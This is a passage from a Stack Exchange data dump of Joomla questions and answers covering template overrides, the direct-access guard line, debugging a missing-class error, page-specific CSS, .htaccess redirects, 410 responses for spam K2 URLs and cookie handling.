ideas?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2017-01-31T14:11:10.830" LastActivityDate="2017-01-31T15:07:23.983" Title="Helix 3 Logo and Text" Tags="|joomla-3.x|overrides|helix3|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19003" PostTypeId="2" ParentId="19002" CreationDate="2017-01-31T15:07:23.983" Score="2" Body="&lt;p&gt;The file I had to edit was located at &lt;code&gt;templates/shaper_helix3/features/logo.php&lt;/code&gt; (thanks to @Lodder for a point in the right direction!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file at around &lt;code&gt;line 56&lt;/code&gt; you will see that start of the logo html code. It's possible to add custom html here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s - I initially couldn't see the &lt;code&gt;templates/shaper_helix3/features&lt;/code&gt; directory as I was using Netbeans and my project had become corrupted. I removed the project and set it up again and the directory was there - strange but it worked.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2017-01-31T15:07:23.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19004" PostTypeId="2" ParentId="18993" CreationDate="2017-01-31T16:16:28.363" Score="1" Body="&lt;p&gt;In theory yes. This line is designed to stop remote file inclusion. So if you're in any file that only has a class then you are effectively safe. The only component files you'd need this in are your html default.php (and any other template files). So in the html outputting files the component entry file it's absolutely compulsory and in all other files it doesn't do any harm but isn't strictly necessary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice we can't scan for this kind of requirement easily in our automated JED checker so we require this in every file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ultimately it depends if you want to be listed on JED or not. If it's a custom component then just the html output and component entry files should have it (and it's unlikely either will be adhering to PSR-2 anyhow). If it's something you are distributing on JED then yes in every file is required. I'd still err on the side of including it in every file personally whatever the use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think you're reading a bit too much into PSR-2 here - I could argue preventing direct access to a file isn't what it means as a side-effect. They mean about having the class as the only responsibility. This check is only about the file itself - yes it's not to do with the class but it's not about doing other side tasks. It's just asking if this file has been directly accessed or whether it's being included by the Joomla CMS Application&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2017-01-31T16:16:28.363" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19005" PostTypeId="1" CreationDate="2017-01-31T18:20:16.720" Score="0" ViewCount="301" Body="&lt;p&gt;My question is &lt;strong&gt;what are some alternative methods of determining or tracing the source of an error in Joomla when the source of error isn't shown by normal debugging means?&lt;/strong&gt; By normal debug methods, I mean the ones I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to determine the source of the error 0 Class 'ContentHelperRoute' not found on some components (mostly Search component and DJ classfieds in Joomla 3.6.5).&#xA;I've found that the problem goes away after a page refresh but it appears again very often. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;enabling debug switch in configuration&lt;/li&gt;&#xA;&lt;li&gt;set PHP error level to max&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;search error in server log&#xA;but the resulting debug information doesn't allow me to pinpoint what is causing the error.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've looked at the pointed solution:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18698/php-fatal-error-class-contenthelperroute-not-found&quot;&gt;PHP Fatal error: Class &amp;#39;ContentHelperRoute&amp;#39; not found&lt;/a&gt;&#xA;but it is not the same because in my case as I have no info about the&#xA;source of the error. I understand that there is an error but I cannot&#xA;find where it occurs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there any other ways to trace errors under Joomla? I appreciate any suggestions.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screen:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EanBv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EanBv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-08-01T03:33:14.197" Title="Debugging methods- How can I determine the source of the error - &quot;0 Class 'ContentHelperRoute'&quot;?" Tags="|php|joomla-3.6|debug|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19006" PostTypeId="1" AcceptedAnswerId="19012" CreationDate="2017-01-31T19:04:38.053" Score="0" ViewCount="163" Body="&lt;p&gt;I have some custom CSS I'd like to add to my template's user.css file. It's CSS that is supposed to be applied to all of my newsletter articles. There's a lot of them. So, I know how to apply CSS to specific page IDs for example, but that would mean I'd end up with tons of code. I'm wondering then if I can apply the CSS to all URLs starting in &lt;a href=&quot;https://mysite.com/news-blog/newsletters&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com/news-blog/newsletters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much. I've searched the internet a bit but couldn't find any answers to this.&lt;/p&gt;&#xA;" OwnerUserId="8659" LastActivityDate="2017-02-01T09:49:08.067" Title="Apply CSS to multiple articles via URL" Tags="|articles|css|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19007" PostTypeId="1" AcceptedAnswerId="19011" CreationDate="2017-01-31T19:05:52.130" Score="1" ViewCount="449" Body="&lt;p&gt;Im trying to make a page which uses plugin code of Simple Image Gallery to load the images in that are uploaded with the article. This is the code you need to use in SIG:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery}myphotos{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I use this code in my template override, the string gets implemented, and not the actual code behind Simple Image Gallery gets executed. I know that you can Prepare Content in modules to get it working, but is there also a possibility to use this kind of code in template overrides?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2017-02-01T00:12:44.213" Title="Use plugin code in overrides content template" Tags="|plugin|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19008" PostTypeId="2" ParentId="16512" CreationDate="2017-01-31T20:18:19.277" Score="2" Body="&lt;p&gt;I didn't spend more time to find the cause and the fix of this issue back then, but today I had to work on a site with the same issue: No Languages Available on the Languages Manager and a requirement by the site owner to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after going round around, I discovered that for this new particularly website the issue was in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for the Language Installer to find Languages packs, there must be the following records in the database:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Table: &lt;code&gt;#__extensions&lt;/code&gt;&lt;br&gt;&#xA;A package type extension with name: &lt;code&gt;English (en-GB) Language Pack&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Table: &lt;code&gt;#__update_sites&lt;/code&gt;&lt;br&gt;&#xA;A record for this site: Name: &lt;code&gt;Accredited Joomla! Translations&lt;/code&gt;, Type: &lt;code&gt;collection&lt;/code&gt;, Location: &lt;code&gt;https://update.joomla.org/language/translationlist_3.xml&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Table: &lt;code&gt;#__update_sites_extensions&lt;/code&gt;&lt;br&gt;&#xA;A record that will join the extension from first table with the update site from the second table. So this record should have the id of the &lt;code&gt;English (en-GB) Language Pack&lt;/code&gt; extension, and the id of &lt;code&gt;Accredited Joomla! Translations&lt;/code&gt; update site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my case it was the &lt;code&gt;English (en-GB) Language Pack&lt;/code&gt; package extension missing from the extensions tables at first place. Not sure how this happened initially, since this package is also a protected extension, but that was the fact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had to add the extension in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__extensions` (`name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`)&#xA;VALUES&#xA;    ('English (en-GB) Language Pack', 'package', 'pkg_en-GB', '', 0, 1, 1, 1, '{\&quot;name\&quot;:\&quot;English (en-GB) Language Pack\&quot;,\&quot;type\&quot;:\&quot;package\&quot;,\&quot;creationDate\&quot;:\&quot;December 2016\&quot;,\&quot;author\&quot;:\&quot;Joomla! Project\&quot;,\&quot;copyright\&quot;:\&quot;Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.\&quot;,\&quot;authorEmail\&quot;:\&quot;admin@joomla.org\&quot;,\&quot;authorUrl\&quot;:\&quot;www.joomla.org\&quot;,\&quot;version\&quot;:\&quot;3.6.5.1\&quot;,\&quot;description\&quot;:\&quot;en-GB language pack\&quot;,\&quot;group\&quot;:\&quot;\&quot;,\&quot;filename\&quot;:\&quot;pkg_en-GB\&quot;}', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After adding the extension, I found out that the only other thing I had to, was to go into the &lt;strong&gt;Extensions: Update Sites&lt;/strong&gt; and &lt;strong&gt;Rebuild&lt;/strong&gt; the Update Sites. This is taking care of the rest, that is adding the Update Site and join the 2 records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that Languages became available for installation in the Language Installer in the backend.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-31T20:18:19.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19009" PostTypeId="2" ParentId="19006" CreationDate="2017-01-31T21:08:52.010" Score="0" Body="&lt;p&gt;Try something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;site &amp;lt;?= (strpos(JUri::current(),'/news-blog/newsletters')!==false)?'newsletter-page':'' ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it.&#xA;The you can simple target the &lt;code&gt;.newsletter-page&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-01-31T21:08:52.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19010" PostTypeId="2" ParentId="18998" CreationDate="2017-01-31T21:51:11.337" Score="1" Body="&lt;p&gt;I would suggest you install a sitemap and give that to webmastertools. That'll help maintain your google links over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all the K2 links you're concerned about are non-SEF URIs then you can redirect them in your .htaccess file as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond   %{REQUEST_URI}    ^/index.php$&#xA;RewriteCond   %{QUERY_STRING}   ^option=com_k2&#xA;RewriteRule   ^ https://whereeveryoulike.com/somewhere?   [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the ? on the end of the rewrite will remove the query string from the destination.  It's usually there to stop the destination getting into a loop but of course may not apply in your case.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-01-31T21:51:11.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19011" PostTypeId="2" ParentId="19007" CreationDate="2017-01-31T22:33:06.210" Score="3" Body="&lt;p&gt;Content plugins work in all article views whether or not they are overrides.  To use them in custom components (whether in overrides or not) you can use the technique explained here: &lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest usage being: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = JHtml::_('content.prepare', $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It sounds from your question you're overriding an article view and so the content plugin should already work.  If nothing above seems to help, can you confirm that the plugin works if you don't use your override? If so something else must be afoot.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-01-31T22:33:06.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19012" PostTypeId="2" ParentId="19006" CreationDate="2017-01-31T22:51:14.717" Score="0" Body="&lt;p&gt;It's not clear if what you want is to target certain elements with your css, or only load a specific css file on some pages (the newsletter ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are possible, but first let's make something clear.&lt;br&gt;&#xA;With CSS you can apply the same style(s) from a single css file, to many elements, on as many as you want pages. The more important condition is to target your elements properly and for this it's recommended to be consistent with how you use the class attributes in your markup.&lt;br&gt;&#xA;The best practice is to use the class attributes instead of the id to style your html.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how your newsletter articles are structured/built, nor I can expand too much on delivering an HTML/CSS tutorial here, but if for example each of your newsletter page/article has a &lt;strong&gt;wrapper div element&lt;/strong&gt; with a unique ID, and you try to bind your styles on that ID, then this isn't going to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well.. it's late here and I feel tired same time that I started thinking all the possible different options depending on different use-cases - I think your question is too broad. So maybe either send a link to your website/newsletter pages, or add more details to narrow down the use-cases, so to get a more specific answer.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-02-01T07:53:07.337" LastActivityDate="2017-02-01T07:53:07.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19013" PostTypeId="2" ParentId="19007" CreationDate="2017-02-01T00:12:44.213" Score="1" Body="&lt;p&gt;For &lt;a href=&quot;http://www.joomlaworks.net/extensions/commercial/simple-image-gallery-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simple Image Gallery Pro&lt;/a&gt;, all you need to do is call the value for the &lt;code&gt;gallery&lt;/code&gt; parameter. Depending on how you've referenced the article in your template, you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(!empty($item-&amp;gt;gallery)): ?&amp;gt;&#xA;&amp;lt;!-- Item image gallery --&amp;gt; &#xA;&amp;lt;a name=&quot;itemImageGalleryAnchor&quot; id=&quot;itemImageGalleryAnchor&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;div class=&quot;itemImageGallery&quot;&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;gallery; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: This assumes &lt;code&gt;$item&lt;/code&gt; is the reference to your article.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2017-02-01T00:12:44.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19015" PostTypeId="2" ParentId="18998" CreationDate="2017-02-01T09:11:13.620" Score="1" Body="&lt;p&gt;I don't know how you handle your legitimate urls (your actual articles/pages) with moving from k2 to joomla articles, nor if you had SEF urls enabled/disabled before and now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's expected to see your WebMasters console filling up with errors when doing content/url organization changes/restructuring on a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, particularly for these k2/user URLs that's a common issue with K2, where spammers are creating user accounts and then become k2 users with their own user page in K2. This issue pre-existed in your site, but likely you weren't aware of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bigger problem was before starting getting the 404 error notifications (as I guess you started getting now) in GWT, as those pages were actual accessible pages in your site, crawl-able and indexable by Search Engines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with K2 missing, all these URLs result to 404 pages. &#xA;A 404 is not necessarily a bad thing. Actually it is what you want to respond to anyone that will try to reach at a page that does not exist.&#xA;A 404 error will also tell Google that this page doesn't exist. Eventually these pages will be removed from Google index and this is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend against redirecting these &quot;spammy&quot; URLs to real pages. To which page you would redirect them and why you would ever want to do so? If you find out that you have a spammy viagra url/page in your website, you would redirect this to the home page? Redirecting the pages will make google keep those URLs for longer in its index, as it will consider those are real and useful URLs in your site, which all should take visitors to another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another HTTP response you could return for these pages though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/18809/how-to-remove-content-with-410-status-code/18810#18810&quot;&gt;How to remove Content with 410 Status code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could implement this like below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install again K2 in the new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go and open with a code editor the &lt;code&gt;/components/k2/k2.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just below these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;paste:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JError::raiseError(410, &quot;This page isn't available any more and will never be available again in the future&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to reach to one of these k2 urls and see what it returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to do so via .htaccess, but you will also have to create custom error documents to handle the error responses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the htaccess solutions let me know and I will post later again.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-02-01T09:11:13.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19016" PostTypeId="2" ParentId="19006" CreationDate="2017-02-01T09:49:08.067" Score="1" Body="&lt;p&gt;Perhaps create a new file called &lt;code&gt;newsletter.css&lt;/code&gt;, add your code in there, then put it in the folowing directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/css/newsletter.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then, in you template's &lt;code&gt;index.php&lt;/code&gt; file, near the top, you want to add the following PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos(JUri::current(),'/news-blog/newsletters') !== false)&#xA;{&#xA;    $doc = JFactory::getDocument();&#xA;    $doc-&amp;gt;addStyleSheetVersion($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/newsletter.css');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only import the CSS file on your desired pages.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-02-01T09:49:08.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19018" PostTypeId="1" CreationDate="2017-02-01T12:50:11.917" Score="1" ViewCount="84" Body="&lt;p&gt;When I click view site button in joomla, it opens a new tab with a login form that I enter my super user info and is show the home page. &#xA;But I want to visit the site as a guest to test user registration and profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete the login page that appears when I click view site in joomla? I want it opens without that login form.&lt;/p&gt;&#xA;" OwnerUserId="9620" LastEditorUserId="126" LastEditDate="2017-02-01T17:14:19.100" LastActivityDate="2017-02-01T17:26:18.160" Title="View site as a guest" Tags="|joomla-3.x|global-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19019" PostTypeId="2" ParentId="19005" CreationDate="2017-02-01T14:10:57.880" Score="0" Body="&lt;p&gt;I found only one solution. I switched off one component/theme/module after another and found that problem was with the code in mod_articles_category override in template. I don't know exactly why but it was not necessary so I removed it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nadkategoria=$item-&amp;gt;displayCategoryTitle;&#xA;if ($item-&amp;gt;parent_title!='ROOT') $nadkategoria='&amp;lt;a href=&quot;' . JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;parent_id)) . '&quot;&amp;gt;' . $item-&amp;gt;parent_title . '&amp;lt;/a&amp;gt;';?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4140" LastActivityDate="2017-02-01T14:10:57.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19020" PostTypeId="2" ParentId="19005" CreationDate="2017-02-01T15:31:12.030" Score="1" Body="&lt;p&gt;Per &lt;a href=&quot;https://joomla.stackexchange.com/a/18849/5638&quot;&gt;FFrewin&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To fix this bug, you can edit the mod_articles_categories.php and add&#xA;  this line after the &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://joomla.stackexchange.com/a/18849/5638&quot;&gt;https://joomla.stackexchange.com/a/18849/5638&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-02-01T15:31:12.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19021" PostTypeId="2" ParentId="19018" CreationDate="2017-02-01T15:45:26.550" Score="1" Body="&lt;p&gt;Unfortunately, when you have your site offline, you will be required to login to view the site. You will be presented with a login form as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1pAEg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1pAEg.png&quot; alt=&quot;Website Offline&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was an extension created to get around this drawback called &quot;&lt;a href=&quot;https://extensions.joomla.org/profile/extension/miscellaneous/offline/offline/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Offline&lt;/a&gt;&quot;. This creates a secret key that, when added to the URL, prevents the need to login.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternate:&lt;/strong&gt; If your server is running &lt;a href=&quot;https://www.apache.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apache&lt;/a&gt;, you can create a &lt;a href=&quot;https://httpd.apache.org/docs/2.4/programs/htpasswd.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.htpasswd&lt;/code&gt;&lt;/a&gt; file in the root of your site and leave the site &quot;online.&quot; This will require you to enter a password before Joomla! ever loads.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2017-02-01T17:26:18.160" LastActivityDate="2017-02-01T17:26:18.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19022" PostTypeId="2" ParentId="18985" CreationDate="2017-02-01T21:57:52.373" Score="1" Body="&lt;p&gt;First let's just confirm all the config steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the K2 parameters &gt; frontend editing, 'Enable frontend editing'&lt;br&gt;&#xA;is set to yes.&lt;/li&gt;&#xA;&lt;li&gt;You have a K2 usergroup called editors (or something) and the permissions&#xA;of the editors K2 usergroup includes at least 'Front-end item&#xA;editing', 'Edit any item' &amp;amp; 'Allow editing of already published&#xA;items' set to yes. Also the 'Assign group permissions to these categories' setting below is set to 'All' or something else appropriate.&lt;/li&gt;&#xA;&lt;li&gt;Your own K2 user matching your Joomla user is assigned to the editors group.&lt;/li&gt;&#xA;&lt;li&gt;You are logging in to the front end with the right user.&lt;/li&gt;&#xA;&lt;li&gt;You are using a K2 template that still includes the edit button.  For example if you have a menu item pointed to a K2 category, the category_item.php file in the template that is active contains the following:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(isset($this-&amp;gt;item-&amp;gt;editLink)): ?&amp;gt;&#xA;&amp;lt;!-- Item edit link --&amp;gt;&#xA;&amp;lt;span class=&quot;catItemEditLink&quot;&amp;gt;&#xA;&amp;lt;a data-k2-modal=&quot;edit&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;editLink; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php echo JText::_('K2_EDIT_ITEM'); ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-02-04T22:47:02.087" LastActivityDate="2017-02-04T22:47:02.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19024" PostTypeId="1" AcceptedAnswerId="19052" CreationDate="2017-02-02T03:31:33.437" Score="3" ViewCount="3703" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to&#xA;  move '/tmp/phpNvO1BD' to '/home/kimberly/public_html/tmp/IMG_1934.JPG'&#xA;  in /home/kimberly/public_html/libraries/joomla/filesystem/file.php on&#xA;  line 351&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the error message I get on my website whenever I try to upload any image file onto a blog or etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly help me sort out this problem. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9625" LastEditorUserId="126" LastEditDate="2017-02-02T09:13:21.983" LastActivityDate="2017-02-05T00:24:05.663" Title="Warning: Failed to move file! Error Unable to upload file" Tags="|file-upload|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19025" PostTypeId="1" CreationDate="2017-02-02T06:45:27.647" Score="3" ViewCount="5417" Body="&lt;p&gt;I want to save temporary data (id and name) from product page to cart via Ajax. The problem is to record new variables in cookie, using outstanding from Joomla file.&#xA;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;$value        = $inputCookie-&amp;gt;get($name = 'myCookie', $defaultValue = null);&#xA;$cookieExists = ($value !== null);&#xA;$inputCookie-&amp;gt;set($name = 'myCookie', $value = '123', $expire = 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in var_dump($_COOKIE) there is no 'myCoolie' variable with value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And maybe for safety I need to use Session instead Cookie to keep products in cart?&lt;/p&gt;&#xA;" OwnerUserId="8039" LastEditorUserId="8039" LastEditDate="2017-02-02T06:51:56.437" LastActivityDate="2017-12-12T11:53:37.890" Title="Save data to cookie" Tags="|joomla-3.x|php|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19026" PostTypeId="2" ParentId="19025" CreationDate="2017-02-02T10:14:30.567" Score="6" Body="&lt;p&gt;The problem being your code will never work the first time cause your trying to &lt;strong&gt;set&lt;/strong&gt; a cookie value based on the &lt;strong&gt;get&lt;/strong&gt; value, which is always &lt;code&gt;null&lt;/code&gt; as you're never setting the initial value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a cookie, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;// Get the cookie&#xA;$value = $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;get('myCookie', null);&#xA;&#xA;// If there's no cookie value, manually set it&#xA;if ($value == null)&#xA;{&#xA;    $value = HOWEVER YOU GET THE CART DATA&#xA;}&#xA;&#xA;// Set the cookie&#xA;$time = time() + 604800; // 1 week&#xA;$app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set('myCookie', $value, $time, $app-&amp;gt;get('cookie_path', '/'), $app-&amp;gt;get('cookie_domain'), $app-&amp;gt;isSSLConnection());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="481" LastEditDate="2017-03-07T13:39:19.283" LastActivityDate="2017-03-07T13:39:19.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
